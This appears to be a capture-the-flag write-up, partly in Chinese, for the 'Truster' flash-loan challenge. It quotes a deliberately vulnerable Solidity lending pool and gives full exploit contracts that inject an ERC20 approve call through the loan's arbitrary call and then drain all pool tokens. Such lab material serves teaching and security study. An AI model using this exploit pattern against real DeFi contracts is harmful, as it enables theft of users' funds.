跳到主要内容

Description

More and more lending pools are offering flash loans. In this case, a new pool has launched that is offering flash loans of DVT tokens for free.

The pool holds 1 million DVT tokens. You have nothing.

To pass this challenge, take all tokens out of the pool. If possible, in a single transaction.

Code

contract TrusterLenderPool is ReentrancyGuard {
using Address for address;

IERC20 public immutable damnValuableToken;

error NotEnoughTokensInPool();
error FlashLoanHasNotBeenPaidBack();

constructor(address tokenAddress) {
damnValuableToken = IERC20(tokenAddress);
}

function flashLoan(uint256 borrowAmount, address borrower, address target, bytes calldata data)
external
nonReentrant
{
uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
if (balanceBefore < borrowAmount) revert NotEnoughTokensInPool();

damnValuableToken.transfer(borrower, borrowAmount);
target.functionCall(data);

uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
if (balanceAfter < balanceBefore) revert FlashLoanHasNotBeenPaidBack();
}
}

Solutions

Lending Pool 没有继承 ERCIERC3156FlashLender ,而是通过了functionCall和传入的target自己完成了回调功能,传入的data可控,我们就可以伪造一个ERC20.approve()来使供给合约可以操控Pool中的Tokens

Exp

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "../../src/truster/TrusterLenderPool.sol";
import "../../src/DamnValuableToken.sol";

contract TmpAttacker {
uint256 internal constant TOKENS_IN_POOL = 1_000_000e18;
address player;
address pool;
DamnValuableToken token;
constructor(address _player,address _token, address _pool){
player = _player;
pool = _pool;
token = DamnValuableToken(_token);
}

function withdraw() external{
token.transferFrom(pool, player, TOKENS_IN_POOL);
}
}

contract Attacker {
uint256 internal constant TOKENS_IN_POOL = 1_000_000e18;

constructor(address _pool, address _token){
TmpAttacker attacker = new TmpAttacker(msg.sender, _token,_pool);

TrusterLenderPool pool = TrusterLenderPool(_pool);

bytes memory data = abi.encodeWithSignature(
"approve(address,uint256)",
attacker,
TOKENS_IN_POOL
);
pool.flashLoan(0, address(attacker), _token, data);
attacker.withdraw();
}
}